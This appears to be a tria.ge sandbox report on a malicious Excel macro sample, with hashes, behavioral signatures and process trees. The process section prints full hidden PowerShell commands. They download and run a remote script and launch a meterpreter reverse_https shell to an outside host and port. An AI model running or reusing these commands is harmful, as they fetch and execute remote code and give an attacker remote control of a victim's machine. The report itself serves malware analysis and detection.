Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
24s -
max time network
17s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
08/07/2024, 21:48
Behavioral task
behavioral1
Sample
0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
Resource
win10v2004-20240704-en
General
-
Target
0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls
-
Size
44KB
-
MD5
7770cf4869f3f257d6c2d3748dd06e86
-
SHA1
1a337015605b91ada1464d586f8d15be8c851d33
-
SHA256
0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408
-
SHA512
5520e4c7bf1eb1dfd37b6b30f6f787976fc7c5a0ef53152680c7040d2a78f889d7ce7d026020544cddf1eed7d3e6b4ea6031234bcf89c4589ba2b6d69e570a82
-
SSDEEP
768:ptvo+hzsk3hbdlylKsgqopeJBWhZFGkE+cL2NdAJliNWUuFSmQQcsrJ9acf9acyL:xak3hbdlylKsgqopeJBWhZFGkE+cL2NT
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2764 2668 powershell.exe 30 Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 2060 1620 wscript.exe 29 -
Blocklisted process makes network request 4 IoCs
flow pid Process 6 2764 powershell.exe 7 2764 powershell.exe 8 2548 powershell.exe 9 2548 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 2764 powershell.exe 2548 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
flow ioc 5 raw.githubusercontent.com 6 raw.githubusercontent.com 7 raw.githubusercontent.com 8 raw.githubusercontent.com 9 raw.githubusercontent.com -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1620 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2764 powershell.exe 2548 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2764 powershell.exe Token: SeDebugPrivilege 2548 powershell.exe -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1620 EXCEL.EXE 1620 EXCEL.EXE 1620 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1620 wrote to memory of 2060 1620 EXCEL.EXE 33 PID 1620 wrote to memory of 2060 1620 EXCEL.EXE 33 PID 1620 wrote to memory of 2060 1620 EXCEL.EXE 33 PID 1620 wrote to memory of 2060 1620 EXCEL.EXE 33 PID 2060 wrote to memory of 2548 2060 wscript.exe 34 PID 2060 wrote to memory of 2548 2060 wscript.exe 34 PID 2060 wrote to memory of 2548 2060 wscript.exe 34 PID 2060 wrote to memory of 2548 2060 wscript.exe 34
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\0bd49dc6f7efe68080f65faf5fdff91f443dd1b4ca93cc9abeb8f15c8889d408.xls1⤵
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1620 -
C:\Windows\SysWOW64\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\WINDOWS\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2548
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QNRSF99ZSYOAXCB2DI6Y.temp
Filesize7KB
MD54ad0fb9c4ce617144005fdf906d6b7e6
SHA1ca87911a0d9b95525c5cb544772c640492f6523e
SHA2567346ea1c95884989a7f55f24cacc884eb135787960cdab54d47aed0b720aa11e
SHA512f6a8c4116639a82b64f92576a558125691b22a6429bf78c830694fd7ab0d00da178fa0c0874a43f34d4732da4d2292bc20cbdcf275a62c37ea0a9613066b701c
-
Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78